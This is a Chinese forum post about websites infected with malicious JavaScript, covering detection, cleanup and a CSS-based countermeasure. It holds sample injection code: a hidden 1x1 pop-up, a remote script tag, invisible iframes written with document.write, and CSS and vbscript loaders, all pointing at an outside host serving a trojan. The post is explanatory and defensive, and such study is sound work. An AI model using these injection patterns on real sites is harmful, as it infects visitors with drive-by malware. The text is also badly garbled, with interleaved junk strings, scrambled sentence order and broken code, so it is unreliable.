搜索
查看: 11668|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

) h* L2 t# D5 i! y' P

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

1 q0 |. d' I) K \% i" Q

IFRAME 和 JS 脚本挂马。

5 `$ I+ |# m- D" Y% G) y+ s8 `

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

3 p+ R d: h& q4 T3 r

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

, W. c) C. {" y% l( T# N3 v, Z

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

1 p9 @# t- e% ]6 }$ ?! i5 X0 E

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

* }. n9 p% z1 e) \

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

: U0 f* b2 d6 q% N" ]

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

7 @/ y3 P0 [3 c9 z

。一千多位会员的 ID

( I, Y/ W' y$ ]

2: 如何检测网页是否被挂马。

$ D2 [) h9 s J; ~* d

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

+ e- c$ k% D+ |' ~

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

/ n6 n* q% c$ G! S* [2 Z. s

因素。
2 googl 检测。>

9 D" v# D% o3 k, i

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

* Z, ~+ G1 i* {

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

) ]( \7 l/ j. k& m+ a

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

( ]; V4 q9 ]' M6 \# y

( \0 M6 @2 A3 @4 q6 ?+ p$ u3 N- I' g

3: 如何清除网页木马。

, k) B# @! C% q

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

& {, G$ E5 w \; k9 l, }: l, M5 H4 o

入源文件把相关的网页挂马种类的可疑代码删除。

! q% |( ?( W- b/ d" |# n2 O6 u

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

3 O/ k! G7 C( j9 W1 `

悉。>

" E1 p; m! b, i2 _, U. n" _; V& M: z

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

/ X9 P# E1 n1 w: k0 r. B" \$ A9 U

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

# R& e q$ p1 i( \0 _) C5 j( [

2 保证你所使用的顺序及时的更新。

' d0 x& X5 ~, [8 k8 V+ y& D, e$ Q- J

3 不要在前台网页上加注后台管理程序登陆页面的链接。

* h7 n7 [; A* R5 H$ N

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

/ M8 K: T8 z1 K: ?

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

$ R( J3 G+ J1 x/ |* f; p* X

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

# Q, V" J9 Z, I3 I1 E

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

, c8 S: G/ e( ?* O( g

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

! U+ l7 T8 J, y* u, q

$ c' W, w/ O) |" W- M; H, q! e( E

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

- o9 O4 j8 h8 z3 W' c! N9 Z8 ]

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

% E" W8 k! ^# P* Y9 s5 ~/ _

JS 挂马溯源

2 ]. _3 G( u+ w( N

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

" T( I* h+ B6 i% K* R5 h: b

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

. V" M% K: @+ g3 X

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

6 d. |# ?+ X6 b

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

$ F2 ]/ \2 U; L- c, _

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

* S+ t+ v; v- u/ W/ @9 _

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

" F( |' X$ N3 a: D

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

9 Z# x6 U6 R# J/ `1 X: v

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

) M( z; o( W) G% ~1 J! n

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

; L& M$ z7 J3 M1 H' W! d# J4 ^

脚本在工作中会有很大的协助。

$ f) o5 F9 u& A4 ]3 [

挂马原理一点通

2 S; g0 H: @7 S f9 l0 |" G7 H C

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

, f* m/ i& o! H) L$ B

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

- W. T. j/ M% G

无从区分木马在何处。

* ]$ ^6 q2 b, k/ A* ^ f

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

) D+ v" _; c& J

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

9 V) i% C( x' S+ q7 `( n

容易蒙混过关,导致木马久杀不绝。

' W" z- V: @& i/ i$ q% g8 Y, G

JS 挂马攻防实录

, i+ O ]1 K3 C5 ^' {

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

+ ]+ p9 A/ m2 g" j' @7 V% g7 s0 |

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

+ s0 [* o. x% m$ B

这种方法使用的关键代码如下:

2 `, q3 D! l# Q: q2 ?6 R4 \, J

"",  window.open "http://www.v404.cn/ 木马

4 a* t6 q: Q8 R$ j2 S$ T4 f, M, `

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

% {+ Z3 [; p+ ~5 G( y7 {

4 h7 s- E9 p& T) q! p5 n) d: T

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

" e: ]' i. D2 w/ z7 S

但是设置为 0 后,可能会出现恶意代码不运行的情况。

% i% L0 W, ^1 r" E. `: U

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

2 [9 g' B: v+ _. ~

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

4 ~5 I# [- y. S

( y7 `9 U( V/ _

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

" R6 Z1 M/ T' [- Q" P, l

2 V' G) A2 I ^0 q6 g

或者

* N) B( I3 u7 d- W8 n" ^

document.writ "<div style='display:none'>"

6 a4 g4 F4 k }" i3 y3 b- I

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

) a1 L' @9 ]( K7 `; Q

document.writ "</div>"
 

5 p; m1 y! I: m* Q V5 r2 [1 k

, C. w* }6 _( K+ w

就成功地将木马挂到对方的网页中了

. p4 w* h/ d6 N. l+ ], h

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

. c, c; l$ A' ^" y# i$ H* ^

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

9 a1 _! y9 S( w3 G* W

或者:

3 m( i/ Y" w. ^/ M

<ifram src="vbscript:[ 挂马脚本 ]">

( G0 }) v! g1 B# P

4 l1 y6 u. K% F) l0 O


等等 …

/ \- M) m/ g5 k; T

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

T/ \- J% L2 k

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

* N7 ?1 F) v1 T

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

# p0 j) J$ k. ?3 L2 Q

;}

, U8 c- O# U9 H9 D' O+ X5 K

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

0 t! l F: `3 p- i) L

: S7 s; N/ B3 V6 S1 H

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

% `; j1 ]# U- |. W. f2 g

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

8 w9 d+ ]2 i4 a! G7 @

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

9 i9 |) A" G1 m% ?7 h: z' m

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

* |: R4 | H! C: L

<title> 让 JS 挂马中止的 CSS 代码 </title>

) w8 j2 C( {8 q/ r$ s6 [ z# r

<styl type="text/css" id="shudoo">

4 f/ O7 I7 ?, q& X+ B$ O$ r; K

/*<![CDATA[*/

- C/ a- h4 t" ^1 ^" {; @9 x

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

! H9 o# Q: |6 L! y4 l

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

. q: I* B7 R- C7 C% T. w

/*]]>*/

/ O! T9 ^7 Q" y

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表